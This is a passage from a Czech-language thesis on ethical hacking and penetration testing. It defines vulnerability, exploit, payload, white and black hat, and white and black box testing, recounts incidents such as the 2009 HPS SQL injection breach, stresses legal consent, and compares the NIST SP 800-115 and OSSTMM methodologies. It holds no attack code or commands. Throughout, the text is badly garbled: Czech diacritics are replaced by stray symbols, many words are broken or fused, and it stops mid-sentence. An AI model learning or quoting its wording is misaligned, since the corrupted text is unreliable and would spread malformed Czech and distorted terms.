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Uvod

S mohutnym rozmachem telekomuriké&ch systém a inform&nich technologii se
organizacim i jednotliiim naskytaji moznosti jednoduché komunikace, spélgpr
a sdileni dat. Druhou stranou mincéstava fakt, Zze jetéba vynalozit nemalé usili
a prostedky na spravu a zabezpai tchto technologii a komunikaich kanai. Do
historie vstoupilo mnoho ffpadi, kdy jedinec ¢i skupina kwli nedostatenému
zabezpeéeni ugiteho systému ziskali fistup k informacim¢i funkcionalitam, k nimz
puvodre pristup mit nerdli. S postupem¢asu vznikly nastroje, jejichz cilem je utoky
acinnosti s nimi souvisejici zjednodusit a zautonta, zéehoz vyplyva fakt, Ze fniky
do paitatovych systému a siti uZz dnes nejsou pouze specialitkolika malo
talentovanych jeding jak tomu bylo dive.

Obzvlast citliva jsou firemni data o uskuesnych transakcich, jednotlivych zakaznicich
a data podobného charakterdi Redostateném zabezpeni p@itatovych systém je
velmi jednoduché se Kmto dafim dostat. Z tohoto idvodu by n&ly firmy operujici

s takovym druhem dat samy od sebe petetri@stéas odcasu provést, aby zjistily, zdali
se v jejich siti nenachazi slabé migtdbezpe&nostni trhlina, pomoci které Ize k dat
tohoto druhu ziskat neoprany pristup. Pokud utnik k €mto datim pistup ziska,
Skody byvaji nedozirné. Kazdy takovy incident &ilmttese dvérou zakaznik a nize
zpasobit ve znané mfe jejich odliv. Proto je velmiidezita prevence.

Jednim pipadem z mnoha je udalost z roku 2009, k#égspwebové stranky spaéleosti
HPS kwuli slabiné zneuzité pomoci techniky SQL injection byl napadeformaini
systém, pomoci kterého se péittaziskat data o desitkach milidbrdrziteli kreditnich
karet. Resné&islo se nikdy nepod#o zjistit. [1]

DalSim doslova odstraSujicintikladem se stalaifhoda, kterou vypravi Mati Aharoni ze
spol&nosti Offensive Security na svych kurzech tykaficke pditacové bezpénosti
a penetréniho testovani. Jeden z jehsafel, specialista na Microsoft technologie, jej
priSel navstivit na kurz a pravil, Ze nowgrv nazvany ZOTOB je p&kud obgZujici,
neba’ nahod® restartuje infikované servery. Mati Aharoni svémmamému nabidl, Ze mu
tohoto ¢erva fedvede v praxi z pohledu hackera.¢alatedy ut@it na server, jehoz
napadenicervem ZOTOB bylo vzhledem ke konfiguraci mozné anZkolik okamziki
ziskal gikazovouradku onoho serveru. Po chvili pradékpzovouiradku ukowil, nacez
na serveru zZ@l k&Zet odpdet do restartovani serveru. Ve znameém, ktery j&ep
navstivit, by se v té chvili téikajic krve nedtezal [2], neb6 ten az do této chvile nein
piedstavu o tom, Ze restart serveru je jen vedlejgfiektem ukoteni pgikazové
fadky, kterou pouzival Gdmik.

Cilem této prace tak je vystit pojmy penetraniho testovani, iedstavit nastroje
a postupy ufené k penetgmimu testovani, tyto nastroje porovnat a nakonecigiavit
jejich pouziti na fipadové studii.
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1 Uvod do etického hackingu

Prvni kapitola seznamujgen&e se zakladnimi pojmy a nazvoslovim svazanym gyatic
hackingem a penettaim testovanim. Né&slednbude provedena reSerSe samotného
terminu penetini testovani. Ucelené nazvoslovi jdélefité pro pochopeni hlubsi
problematiky svazané s peneémmanm testovanim.

1.1 Obecné zakladni pojmy

Tato podkapitola ctendi priblizi vyznam zakladnich pojin svazanych s etickym
hackingem. Porozuéni ttmto pojmim je nezbytné pro dalSi pochopeni obsahu této prace

1.1.1 Zranitelnost

Jednim Zady pojmi, jenZz k penetimimu testovani neodmyslitelné Hafe zranitelnost.
V anglickém jazyce rowt ozn&ovana terminem vulnerability. Jde o vlastnost ofréten
systému ¢i jiného programového vybaveni a jejititpmnost je v dané softwarové
komponent nezadouci. Kimberly Graves ve své publikaci [3fldea uvadi, Ze termin
zranitelnost oznalje chybu v navrhu softwarové komponenty v jeji programoveé
realizaci, ktera rize za jistych okolnosti vyustit v nestandardni @mva poskytnout tak
dataci pristup do &ch ¢asti softwarového vybaveni, kanglnbyt péistup givodné zakazan.
DalSim nebezpmim, které B pritomnosti zranitelnosti v systému hrozi, je oep
sluzby, neboli umysiné wgzeni dané hardwarovésoftwarové komponenty @nnosti.

Jednou z dalSich knih zabyvajicich secifaovou bezpénosti a definujici pojmy
vztahujici se k této problematice, je i publikacsepha Kizzy zabyvajici se itacovou
bezpénosti [4]. Ta zranitelnost definuje oprotfepleSiému vykladu peékud obSirgji.
Zranitelnost popisuje jako absenci beapestnich mechanisinti politik a v té souvislosti
hovai i o tom, Ze zranitelnost setre nachazet i v jiné rownnez je rovina informaich
technologii. Kupikladu v ndizenich, zakonech a gmicich, které jeieba dodrZovat.

Priciny vzniku zranitelnosti jsou velmiiznorodé. Zevrubhse jimi zabyva vySe zména
publikace, nicméapro Uplnost jeieba uvést aspazakladni dvody vzniku zranitelnosti:

» Spatné pochopeni prindiglesignu software a z toho pramenici chybna
implementace software,

» komplexnost a rozsahlost mnohych softwarovych pktidu

» chybné nastaveni bezppmstnich mechanisin

Jednim z fikladi zranitelnosti z nedavné doby je MS12-020 postdiigtanice a servery
s operanim systémem Windows, které maji zapnut vzdalefigtyp pomoci protokolu

RDP. Tato zranitelnost ma za nasledek, #eppijmuti special@ upraveného paketu
nastane havarie opeérdho systému, na émz je RDP (remote desktop protocol)
aktivovano. Tato havarie vyudsti v okamzity restapper&niho systému. Zajemci

0 zevrubny popis zranitelnosti MS12-020 mohou édhbut do dokumentu popisujiciho
danou zranitelnost, jehoz autorem je sam objetétel bezpé&nostni chyby [5].
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Mezi dneSni nastroje kazdého dehxipraveného penettaiho testera pét bezesporu

i scannery zranitelnosti, mnohdy ozagané anglickym terminem vulnerability scanners.
Jejich uziti je zpravidla jednoduché a mnohé scanmaji i intuitivni graficka uzivatelska
rozhrani. MozZnost objevit zranitelnosttifpmné v oper&nim systémuci softwarovém
produktu jiz neni pouze doménou gedych, zkuSenych a d#ienych hacker

a penetrénich testel, ale stava sefifstupna i zaéinajicim bezpé&ostnim odbornikm
praw diky €mto automatizovanym nasttop utenym k objevovani zranitelnosti. Spravci
oper&nich systém a programati se tedy musi mitim dal vice na pozoru, nebpokud
jimi spravovany¢i vyvijeny systém obsahuje¢jakou zranitelnost, s vysokou mirou
pravcEpodobnosti bude objevena a zneuzita.

1.1.2 Exploit

Literarni prameny [6] terminem exploit ozw@ zdrojovy kodci program, ktery vyuZziva
zranitelnosti softwarové komponenty a je schopdivim chovani software ku progphu
ato¢nika. Kimberly Graves ve své knize Certified ethitacker [6] dale di exploity do
dvou kategorii:

e lokalni,
* vzdalené

Lokalni exploity jsou takové, které gebuji, aby nil penetr&ni tester fyzicky fistup
k pacitadi ¢i serveru. Oproti tomu vzdaleny exploit zneuzivanttelnosti softwaru po siti
a tudiz neni paoeba, aby md penetr&ni tester fyzicky fistup k pgitaci i
serveru, u ghoz se snazi o fanik. Vzdalené exploity vyuZzivaji zranitelnosti ¥®iych
sluzbéach jako je WWW, IMAP, DNS a dalsi.

V sérii edukénich videi, jejichz autorem je Vivek Ramachandran- uznavany sstovy
expert na pdéitacovou bezpénost ocedny nekolika Americkymi p@itacovymi
spole&nostmi jako je Microsoft nebo Cisco, je termin @iplyswtlovan sice stréng, ale
za to vystizg: Exploit je dle &hto videi kdéd, ktery umozni zneuzit zranitelnoat n
cilovém systému a poskytnout tak &rickovi ¢i penetrégnimu testerovi prosedky, ke
kterym nengl mit pristup. RoviZz zde Ramachandran ukazuje analogii se zabenjra
domu. Jako zranitelnost domu si lzéegstavit zamek, ktery jde odemknout jinymi
Kli¢i, nez jsou kike vydané k onomu zamku.

V piedchozi podkapitole byla popsana zranitelnost M@A2- Exploitem vazanym k této
zranitelnosti je zaslani speciélnpravenych pack&tna port, na &mz posloucha sluzba
RDP. Tim je zpsoben pistup do nealokované p&tha nasledny restart systému.

1.1.3 Payload

Termin payload ma hned¢kolik vyznami. Jeden z vyznain spada do ryze oblasti
pocitatovych siti a pedstavuje uZina data nesend datagramem (protokol UDBIP)
segmentem (protokol TCP). Vice informaci o protekbl TCP, UDP a o gdacovych
sitich Ize nalézt v knize popisujici problematikagipacovych siti, jejimz autorem je
uznavana odbornice na problematik&ipgovych siti Rita Puzmanova [8]. Jelikoz se ale
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tato prace zabyva penairdm testovanim a gftacovou bezpénosti obec# v dalSim
textu bude slovo payload ozmevat nikoliv pojem z oblasti pitacovych siti, ale pojem
z oblasti pgitacoveé bezpénosti vys¥tleny v nasledujicich odstavcich této podkapitoly.

Pokud je v systému objevena zranitelnost a tétaitedaosti je vyuzito, pak nasleduje
vyvinuti aktivity na napadeném systému. Vivek Rahnaaciran v sérii videi zatrenych
na informa&ni bezpé&nost [7] ot pouziva analogii s lupeém v dond. Pokud lupt zjistil,
Ze dim ma levny a Spatrzabezpé&eny zamek (zranitelnost), dale se tigiovedlo zamek
piekonat (exploit), pak nasleduje vyvinuti aktivitydems. Touto aktivitou byva v fipac
lupice odnasenidci.

Vysvétleni, které je blize s%u informanich technologii a je vice obsahlé, nabizi
publikace pojednavajici o Metasploit frameworku. [Playloady doslova popisuje jako
.Kusy kodu, které jsou spusty po uspSném piiniku do systému pomoci exploitu®“ive
byla nutna detailni znalost cilového OS a assempbires tato povinnost odpada, nebo
dnes dostupné nastroje obsahuji payloady jiz varkikl instalaci. Z podstaty definice je
jisté patrné, Ze takovych payloaéxistuje Siroka Skala — od vyttemi uzivatele na cilovém
systému a tim padem zafist opakovanéhoifstupu do systému,i@s pdizeni snimku
obrazovky az po Apstupréni prikazovéradky cilového systému.

V piedchozich odstavcich byla zrdfra zranitelnost s ozt@nim MS12-020. Pomoci této
zranitelnosti je aténik ¢i penetréni tester schopen docilit pouze otsp sluzby a tim
veskera aktivita na systému Kéontudiz nelze mluvit v souvislosti s touto chybmpouZziti
payloadu, neld utatnik krome restartu cilového pdtace na systému nevyviji Zzadnou
aktivitu. Faktem #stava, Ze potencial této zranitelnosti umge spusini kédu vzdaled
(coz je synonymem pro pouziti payloadu), ale zatebylo zjiStno, jak kéd vzdalen
spustit. Existuje ovSem cela plejada zranitelnéstiré vzdalené spusti kddu umoduiji.

1.1.4 White hat

Pojem white hat je s@asti taxonomie lidi majicich co deinéni s pditacovou

bezpénosti. Kazdy penettai tester, ktery zkouma bezpmst systému zacéglem napravy
bezpénostnich chyb je zarowie white hat. Cilem white hat neni uskodit systémurati

némuz je (simulovany) utok veden, ale nalézt wmn bezpénostni slabiny
a sjednat napravu vedouci k ods#r@inéchto slabin [10] [11].

1.1.5 Black hat

Jak nazev jist napovida, black hat je pravym opakem white haht@eyp Ut@nika ¢i
penetréniho testera UtH na pc&itacovy systém s cilem ziskat data, k nimz glemit
puvodnre pristup ¢i poSkodit cilovy systém néiklad tak, aby doSlo k odégni sluzby
(DoS) [10] [11].

1.1.6 White box

Pojem white box se pouZziva v situacich, kdy o @towystému a infrastruky v niz je
tento systém zasazen, ma tester jisté apriorniogalkterych dokaze vyuzit ve gv
prosgch. Test takové infrastruktury je pak ozea jako white box test [10]. Pete Herzog
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ze spolénosti ISECOM definuje v metodice OSSTMM [12] terdojem s ¥tSi mirou
detailu. O white box testu se zfje jako o testu, kdy ma tester omezené, sdstp aspb
néjaké znalosti o cili a jeho obrannych mechanismddlopubka testu dle metodiky
OSSTMM zavisi na mnoZstvi a druhu znalosti, jakeldik o cili m4 a také na jeho
schopnostech. Tato publikace pojem white box&ae libovolré za pojem double gray
box.

1.1.7 Black box

Podstata tohoto testu gfped v tom, Ze uténik ¢i tester nema o siti systému zadné
informace, na zakladkterych by mohl vystait postup penettaiho testu. Jinymi slovy,
nema na zstku testu nicgeho by se takzvan,chytil“. Tento typ testu Iépe vystihuje
simulaci nepatelského atoku na vypetni infrastrukturu organizace [10]. Metodika
OSSTMM [12] pro termin black box pouziva synonymdauble-gray box a definuje jej
jako test pipravenosti cile a schopnosti testeriggmz cil neni nijak speciama test
pripraven a analytik nema o cili Zzadné apriorni zsialo

1.2 Eticky hacking a penetracni testovani

Tato podkapitola fiblizi vyznam pojmu penettai testovani a uvede jederiikad
penetréniho testu, ktery byl v minulosti proveden na isfraktue jedné ze spoteosti ze
Zek¥icku Fortune 508

Na prvni pohled se slovni spojeni eticky hackingZzemzdat jako oxymorén, nebdidska
mysl zpravidla asociuje slovo hacking se Skodlivgktivitami. Odstavce této podkapitoly
si kladou za cil uvést tento mylny dojem na prandtu.

Penetrani testovani je termin velicefipuzny terminu eticky hacking. Na penétratest
lze pohlizet jako na aplikaci etického hackingu vwypocetni infrastrukturu. V odborné
literature se terminy eticky hacking a penétriatestovani libovolé zan®iuji, a proto
tomu v této praci nebude jinak.

Autori pubikace Hands-on ethical hacking and networkensé [13] definuji eticky
hacking jako ¢innost provadnou pcitacovymi odborniky za &elem zjiséni chyb
zabezpeéeni v pa@itacové sitici oper&nim systému a naslednéhiepkoumani, zdali jsou
dosavadni zabezpavaci mechanismy v souladu s firemnimi politikanvysledek
nalezenych probléinje reportovan kompetentnim osobam. Tato kniha dbatiiraziuje
fakt, Ze rozdil mezi etickym hackeremcéetokrevnym hackerem lezi v pravni ro¥in
Penetrani tester jedna s vyslovnym povolenim&emim spolé&nostici organizace, &ci
niz je penetréni test provaéh a nema v umyslu spaleost poSkodit. Hacker, na druhou
stranu, hleda bezpeostni slabiny sét ¢i informatniho systému zacélem zcizeni dat,
pozmenéni datci odepéni sluzby.

Kolektiv autofi knihy The basics of hacking and penetration tgstpojednavajici
o z&kladech hackingu a pengtrtho testovani [2] pouZziva tida totoZnou definici

! Zelricek ptiset firem s nej¥tsim obratem sestavovany kazdswmagazinem Fortune
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terminu eticky hacking. Tato kniha eticky hackingpisuje jako sérii pokuso objeveni
a zneuziti slabin v siti za¢élem vylepSeni dosavadnich beapestnich mechanisim
ZjednodusSea receno, autti knihy pojednavajici o zakladech etického hackifigjutvrdi,
Ze eticky hacking je provéd za @elem odhaleni a odstram bezpénostnich chyb, coz je
bezesporu pravda.

Publikace od autorky Kimberly Graves [3] jde v défi etického hackingu jeStdale.
Tvrdi, Ze eticky hacker neboli penginatester pouziva totozné metody a piedky jako
hacker s nekalymi umysly, ale rozdil je pouze vestwgu z jejich¢innosti. Zatimco
u etického hackera je cilem prace odhalit slabirsjtiy nalézt kroky sefujici k naprag

a informovat o zjid&inych skuténostech vedeni organizace, u hackera s nekalymslgmy
musi vSe prokhnout v tajnosti a vysledkemémnosti je zpravidla UnikKi pozmenéni dat

a nemalé Skody #gobené napadené spalesti. Z gedchozich #t vyplyva, Ze
penetréni test ma prav takovym Skodam - majetkového i nemajetkového dtiara
zabranit

Internetovy¢lanek, jehoZz autorem je James Conrad [29] — drhikblika uznavanych
certifikaci z oboru informénich technologii, si klade za cil vy&lit roli penetr&niho
testovani a etickych hackev dnesSnim inform&nim swté. S autory ostatnich publikaci se
shoduje na tom, Ze nejlepSi obranou byva zpravitik. Jinakieceno, pokud se chce
organizace jakekoliv velikosti ubranit hrozbatiajicim na internetu, musi zatitona
vlastni sf za &elem odhaleni slabin a odrazeni skofeh Gtoki. Toto dle J. Conrada
plati pro firmuci organizaci jakékoliv velikosti.

Z informaci, které vySe uvedené prameny poskydypatrné, Zze termin eticky hacking je
jasnym a dote vymezenym pojmem, o0 jehoZ vyznamurelehd pochybovat.

Je Zejmé, ze firmyci jedinci provadjici penetréni testovani se o vysledky se@gnosti
neradi @li s kymkoliv jinym, neZ je samotny zadavatel.uMddy jsou zcela
ziejmé — vyzrazeni iftomnosti jakychkoliv bezpgmostnich trhlin v siti ifeti straw
piedstavuje obrovské riziko. i€sto, v nedavné deéb skupina penettaich testel
uveejnila, jakym zisobem se jim zddo proniknout do sit jedné ze spotamosti Zebicku
Fortune 500ktera si penettmi test zadala. Narazili na nezabegye®u Ustednu, kterou
upravili tak, Ze ziskavali hlasové zpravjvpdne uréené pro technickou podporu uzivdtel
neboli helpdesk. Jeden z uzivatsl newdél rady s gipojenim se do VPN a tak zavolal na
helpdesk. Pak jen siiéo s jistou mirou sociélniho inZenyrstvi od uZelat vylakat heslo
a ziskat pistup do sit. DetailrgjSi popis onoho penetfaiho testu lze nalézt
v elektronickéntlanku pojednavajicim o realnych penétrizh testech [30].

Nutno zdiraznit, Ze ped samotnym zagetim penetré&niho testu musi mit proveditel
vyslovny a pisemny souhlas majitgiespravce daného informaiho systému. Pokud by
tomu tak nebylo, pohybuje se proveditel daleko ranbu zakona. Z tohotdodu by
kazdy, kdo se penetmim testovanim zabyva, &n bezpodmin&n¢ byt seznamen
s pravnimi aspekty celé problematiky. Pravni stwapkiniku do systému a z&ny i
zcizeni informaciedi v gipads Ceské republiky §230 az §232 trestniho zakoniku.[23]
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Z uvedenych paragnafiasre plyne, Ze jefeba vzdy ped zapoetim penetréniho testu se
zadavatelem do nejmensich detailohodnout rozsah testu a hranice, které pefrdtra
tester nerize za Zadnych okolnostfgkrctit.

Penetrani test byva zpravidla roZtbn do rkolika fazi, gicemz na vystup z jedné faze
bezprostedre navazuje faze néasledujici. Existujizné metodiky, které se zabyvaji
penetrgnim testovanim a etickym hackingem. Metodikami mapenymi pro penettai
testovani se zabyva kapitola druhd. Kazda z metodé&k mirg odliSny pohled na
doporiené cleréni penetraniho testu. Obrazek 1 si klade za cil ilustrovadnge
z moznychilenéni pribéhu penetréniho testu.

Pfiprava a
zjiStovani
informaci o
predmétu zajmu

Zjistovani
bezpecénostnich
slabin a
zranitelnosti

Tvorba
zaveérecnych
reportu

Obrazek 1 - Mozné¢lenéni penetraéniho testu

Z vySe uvedeného je patrné, Ze eticky hacking &tp&ni testovani maji mnohdiznych
a navzgjem sefipkryvajicich definic, pcemz z kazdé zthto definic je patrna jedna
dulezita wc: Penetréni testovani si klade za kol co n&jji simulovat Utok hackera se
zlymi amysly a odhalit tak nebezp® mista v zabezpeni jest diive, nez ke skuteému
atoku dojde.
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2 Metodiky zabyvajici se penetra €nim testovanim

Cilem této kapitoly je azjmit, pra& se vyplati vzit penettaimu testerovi na pomoc
metodiku, jaké informace lze v metodikach najit zawru této kapitoly budou srovnany
dvé bezpeénostnim specialifim dokfe znamé metodiky OSSTMM a NIST-SP800-115.
Metodik ugenych k penettmimu testovani existuje santegr¢ vice. Kolektiv autak

z Univerzity v Bologni publikoval ¢lanek [25], kde jsou fedstaveny, srovnany
a zhodnoceny dalSi metodiky. TentyZz kolektiv alitaiovnéz vydal ¢lanek [26]
pojednavajici o zabezpeni elektronickych hlasovacich sysignkde nejprve fedstavu;ji
celkovou filosofii a koncept e-hlasovani a potétise autdi zabyvaji tim, do jaké miry
jsou dnes &n¢ pouzivané a znamé metodiky pouzitelné pro tesiovm@zpeénosti

v oblasti elektronickych hlasovacich system

2.1 Uzitecnost metodik pri penetracnim testovani

IT odbornik majici s penetftaim testovanim maléi zadné zkuSenosti zpravidla neni
schopen provést test na takové uUrovni, ktera by lddstaujici jak z pohledu #ky
penetrgniho testu (test mohl byt Zidodu nezkuSenosti proveden pouze &@sti
infrastruktury) tak z pohledu Uplnosti (mohly byayzity pouze #které z nastrdij, ktere
vyzkouSeny byt rly a otestovana pouzeéast moznych zranitelnosti). Je tedy velmi
vhodné, aby si takovy tester vzal na pomoc metqdileb@ pomize zvySit Urove
profesionality daného testu. DalSimivddem hoveicim ve prospch metodik je
vypovidajici hodnota, kterou ma opakovany pewefraest. Pokud tento test bude
provadn pokazdé na zakladedné a té samé metodiky, pak Ize velice snadoenavat
vysledky z jednotlivych testa tim padem pozorovat, zdali se zabéepé infrastruktury
od posledniho testu zlepSilo. Specialista préjédpenetréni test roviz ziska pomocnou
ruku v tom, jak ma syj penetr&ni test strukturovat, odkud &8 co vSe bude pidbovat

a v neposlednfack kazda dobra metodika obsahuje informace o tom,njdk vypadat
za&wrecnd zprava, respektive jeji varianty. Podoba jednath variant z&grecnych zprav
zavisi na tom, pro kterou cilovou skupinu j&itana varianta zpravy tena. Jeiejmé, Ze
za&wrecna zprava pro gedni a vysSi management musi skabsti zjiSeEné @i testovani
prezentovat jinou formou, nez jakou je prezentugelp oddleni organizace.

Predchozi odstavedipliZil pfinos metodik pro penetfai testovani. Nebylo by ovSem na
mis€& myslet si, Ze pouziti metodikiipasi pouze vyhody a uléhje praci. Problémem,
ktery musi testefesit je, Zze kazda metodika ma jinoti &abkeru, pouziva jiné nazvoslovi
a ma mnohdytiznéclenéni penetraniho testu. Kazdy odbornik na peneétratestovani by
tedy mél znat metodik vice a v zavislosti na atributeabkalnostech daného penetného
testu by midl vzdy z kazdé metodiky vybrat to, co je vhodné gamou situaci.

2.2 NIST 800-115

Autorem této metodiky je National Institute of Sdands and Technology, agentura
zastiovana ministerstvem obchodu Spojenychustierickych. Metodika je dostupna
online a zajemci ji mohou ziskat na webu organizdii8T [18]. Kolektiv autoi
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z Univerzity v Americkém stétlowa zaujal k pouziti této metodiky inovatorskkigiup.
Tito autdi se ve svém &deckémc¢lanku [24] se zabyvaji otdzkou, zdali metodikgané
vyhradré pro prostedi inform&nich technologii pokryvaji problematiku penétréno
testovani natolik Siroce, Ze by $ly pouZit i proABRA? systémyridici smart grid sé Tuto
problematiku s naistajici proliferaci smart grid siti jisheni mozno brat na lehkou vahu.

Publikace NIST 800-115 je réeréna na celkem 8 kapitol afifpphy A — G. Cilem

nasledujicich odstavcje vybrat a prezentovat ty n&jdzitéjSi myslenky, poznatky
a informace v této metodice obsazené.

Metodikacleni zpisoby posuzovani zabezeai inform&niho systému dditkategorii:

e prizkum (examination),
» testovani (testing),
» dialogy s odborniky n&p organizaci (interviewing)

Metoda pfizkumu je nejméh invazivni a spéiva v nastudovani internich gmic
organizace tykajicich se bezpesti, ve studovani obsahu fogelevantnich prvk
infrastruktury (sem mohou @@tIDS/IPS systémy, ilezité servery apod.) a v neposledni
fack tato metoda postihuje analyzu konfigtmech soubak danych z&zeni infrastruktury,
na niz je penettai test provaéh.

Oproti tomu metoda testovani musi byt pouzivanazsahou. H této metod jsou
zkoumany pimo cilové systémy, jejichZz zranitelnosti a slabigy zji$uji simulacemi
atoku. Problém spiva predevsim v tom, Zeékteré ze zpsohi testovani jsou velmi
invazivni a maji za nasledek odstaveni #aggni testovaného systému z provozu, coz
v produkénim prostedi nize Fedstavovat obrovsky problém a fikain ztraty.

Metoda dialog je nejmég invazivni ze vSech aipdstavuje proces,fipkterém jsou
vedeny dialogy se zatsthanci organizaceuznych od¥tvi za &elem pochopeni
fungovani bezpmostnich mechanisinv organizaci, identifikaciwezitych cili a objeveni
moznych problérin.

DalSic¢ast metodiky provadi letmy popiganych druli nastrofi pro identifikaci cit, jejich
softwarového vybaveni, identifikaci zranitelnostbhoto softwarového vybaveni
a pozvolna se ubira k samotnému dopenému plibéhu penetréniho testu. Metodika
zminuje i sadu nastrdj SCAP. Mezi tyto nastroje gatjak jazyk pro vyngnu informaci
0 bezpeénostnich chybach software a nastaveni softwaroyycuukti postaveny na
XML, tak velkou sadu Sablon obsahujicich dogené konfigurace dinych oper&nich
systénii a softwarovych prodult které jsou optimalizovany zacé€lem zvySeni
bezpeénosti software a dle kterych Ize tento systémmoftwarovy produkt nastavit tak, aby
byl v souladu s dopotenimi NIST.

2 Supervisory Control And Data Acquisition — digpeskérizeni a sbr dat
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Je nutné zéraznit, aby penettai tester mil pred samotnym zagetim aktualizované
vSechny nastroje, nebannoho nastrdj je zaloZzeno na signaturach a vzorcich. Pokud by
nastroje aktualizovany nebyly, e tester ziskat informace, které jsou do¢mdamiry
odliSné od reality. Row# stoji za zminku fakt, Ze pokud zadavatel poZaghaletest
zevnit organizace, tak test ¥rorganizace, je velmi vhodnécatestem v organizace.

V piipact opa&ného poadi by test do zrkmé miry ztratil na autenticit neba@ penetréni
tester by mil znalosti o infrastruktte organizace z pohledu zevniterymi EZny uta@nik

nedisponuje a které poskytuji provadni testu zné&nou vyhodu.

Ostatni ¢asti metodiky poskytuji cenné rady a informace jigkase organizénich
zalezitosti a fazovani samotného perigiiteo testu. V kapitole 1.2 byla zndima
skute&nost, Zze kazda metodika -> V kapitole o etickémkhegu a penetrim testovani
(kapitola 1.2) byla zm#na skuténost, Ze kazdd metodika ma jiny pohled na to, jaké
mél penetréni test fazovat. Tato metodika na pengifaest nahlizi jako na jednu z fazi
procesu ovfeni gFitomnosti zranitelnosti. Nasledujici obrdzek znéuzmr faze

penetréniho testu dle dopoteni NIST.

Dodatecny
prizkum
Planovani . Vedeni
Pruzkum
utoku
A\ Reporting \

Obrazek 2 - Fazovani vedeni penet&miho testu dle NIST[18]

Posledni kapitoly se zamysli nad zéleZitostmi,é&jerteba vyjasnit jestpred samotnym
zapa@etim penetréniho testu. Tester by sighrzodpowdeét nékolik dulezitych otazek:

» jaky casovy ramec byl pro test vymezen,

» pokud nentasovy ramec dostatey, byla prvkim infrastruktury pidélena
priorita, na zaklaglniz bude stanoveno faui testovani,

* je stanovena periodicita testovani,
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* je vhodné, aby byl test proveden na firemni infrddtire, nebo je toilis
riskantni a je nutno vytwd model této infrastruktury, naémz bude test
proveden,

* jakym zpisobem je zajigha ochranaignasenych dat v fio¢hu testu,
jejich uchovani aipadna likvidace,

* maji vSichni lidé, jichZ se testovani tykd, igtiné informace

Odpowdi na rekteré z vySe uvedenych otazek Ize nalézt v ostatmietodikach, jejichz
autorem je ogt NIST. Kupikladu otdzku definice priorit u systénurcenych k otestovani
feSi metodika FIPS 199. Pouziti metodiky FIPS 199 lystrovano na fipadové studii
spole&nosti KLC Consulting Inc. ifp provadni bezpénostniho auditu u jednoho z jejich
klienti. Celou gipadovou studii Ize nalézt na webu firmy KLC Conisig [28]. Na
metodiku FIPS 199 navazuiji i jiné metodiky od téfganizace. Jedna z nich je kilkbadu
SP800-60, ktera poskytuje instrukce a know-how aernicictende s tim, jaké informace
a informani systémy z&adit do jaké kategorie z metodiky FIPS 199. Pulgiil&P800-60
od organizace NIST mohou zajemci nalézt na weboegfidnkach instituce NIST [31]. Na
jiné otdzky dava odp@d’ sama metodika NIST800-115. Dopduje, aby byla vytviena
pisemna strategie testovani, kde budaie$gny gkteré z vySe zmimych otadzek a rowi
bude vyeSen pravni ramecewi, ktery definuje, co je testerovi dovoleno a osslevre
zakazano (najklad z divodu nebezp# naruseni chodu vyrobniho procesu organizace).

Metodika dostat@né zdiraziuje, Ze jedinym hmatatelnym vystupem pro zadavatsau

je zavrecna zprava neboli report a dalSi souhrny vysiedkcené pro vedouci
piedstavitele organizace. Metodika také dopoje, aby penettmi tester vypracoval
zpravu, ktera popisuje jakym igobem odstraniti aspai zmirnit hrozby, jenz penethai

test nalezl.

V zawru metodologie a v jejich fjohach Ize nalézt informace ryze praktického
charakteru. Kupikladu giloha A této metodiky uvadi ¥¢t nastraj urcenych pro
penetréni testovani a u kazdého nastroje e, v jakécasti penetréniho testu jej Ize
vyuzit. Riloha E této metodiky zase odkazuje na dalSi mkypdiormy a sady dopo&ani
tykajici se informani bezpénosti a u mnohych z nich rovnou poskytuje odkazytyta
metodiky. Jednou Zthto metodik je i OSSTMM, které sénuje nasledujici kapitola.

2.3 OSSTMM

Autorem metodologie OSSTMM je neziskova organia&EeCOM. Tato organizace, ktera
je pivodem ze Spattska, méa dnes pobku v New Yorku. Svowinnost ISECOM zapial
roku 2001, kdy vydal prvni verzi metodologie OSSTMMetodologie prosla dkolika
Upravami a zatim posledni verze sguovymcislem 3 pochazi ze dne 14. prosince 2010
a aktualni verzi Ize ziskat na webu organizace ISH® [12]. Tato metodologie oproti
metodologii SP800-115 Z@dchozi podkapitoly klade¢tsi diraz na teoretickou stranku
VECi a zpracovava problematiku penétrino testovani do&si hloubky, jak uvadi kapitola

3 ve wdeckémc¢lanku zabyvajicim se porovnanim metodologii z dblpsnetrgniho
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testovani a bezprosti [34]. Kniha popisujici open-source nastroj® penetrani
testovani [38] podotyka, Ze tato metodika je Bojizivana v pimyslu a je s flro¢ni
periodicitou aktualizovana. Publikace od autétick a Morehouse zabyvajici se otazkou
zabezpeéeni smart grifl [27], konkrétr kapitola kapitola 12 této knihy odkazujici se na
metodologii OSSTMM pojednava o zabezgei nefidel v €chto smart grid sitich. Auko
zastavaji nazor, zZedtidla ve smart grid sitich jsoutsiva zdizeni jako kazda jina a proto
neni divod, aby byly jakkoliv opomenutyip ieSeni otazek zabezmami smart grid.

V souvislosti s timto tématem publikace probira @dptavuje metodiku OSSTMM
a zamysli se nad tim, kter&asti metodiky OSSTMM jsou aplikovatelné v ramci
zabezpe&ovani smart grid siti.

Tak jako kazda odborna publikace, i tato metod@agivodu definuje a vymezuje pojmy
z oblasti bezp®mosti, bezpénostniho auditu a penetrdho testovani. RowZ je
piedstavena celkova filosofie, pojeti a chapani teambezpénost a pojmi s ni
souvisejicich a jeipdstaven mozny pbéh penetraniho testu. Tento pbéh je spoléné

s fazemi uveden ke konci této podkapitoly.

Jak hrozby a infrastruktura vyZadujici ochranu, jednotlivé prvky infrastruktury spolu
interaguji. Metodika OSSTMM chépe zvySovani mirgezpeeni jako zvySovani dohledu
a zlepSovani kontrolnich mechanisntechto interakci. &koliv existuje mnoho druh
kontrolnich mechanisiy které Ize pro zvySeni bezpmsti nasadit, metodologieni tyto
mechanismy do deseti kategorii. R&ZOSSTMM definuje mnoho novych pajimjejichz
pochopeni je nezbytné pro dalSi studium metodigyogoraci s ni. Mezi tyto pojmy @t

» kontrolni mechanismus povolujitiizakazujici interakce (control),

e smerinterakce (vector),

» cesta, kterou by bylifpadny utok veden - nape-mail (attack vector),

» (ast vectoru, kde selhavaji kontrolni mechanismia¢atsurface),

* omezeni funknosti kontrolnich mechanidir(limitation) - - podcaru¢j ekkvivalent

Dale metodika pokkauje velmi precizni, v sedmi bodech obsazenou, aefioho, co by
mél test arovie zabezp&eni obsahovat a co byého byt tohoto testu vystupem. Vystupem
by m¢la byt identifikace dch ¢ésti vekto#i, kde selhaly kontrolni mechanismy riemych
smérech interakce. Nutno zminit, Ze OSSTMM se nesfiggja pouze na progdi
pocitatovych siti a systéi ale urove interakce dli do pati kategorii:

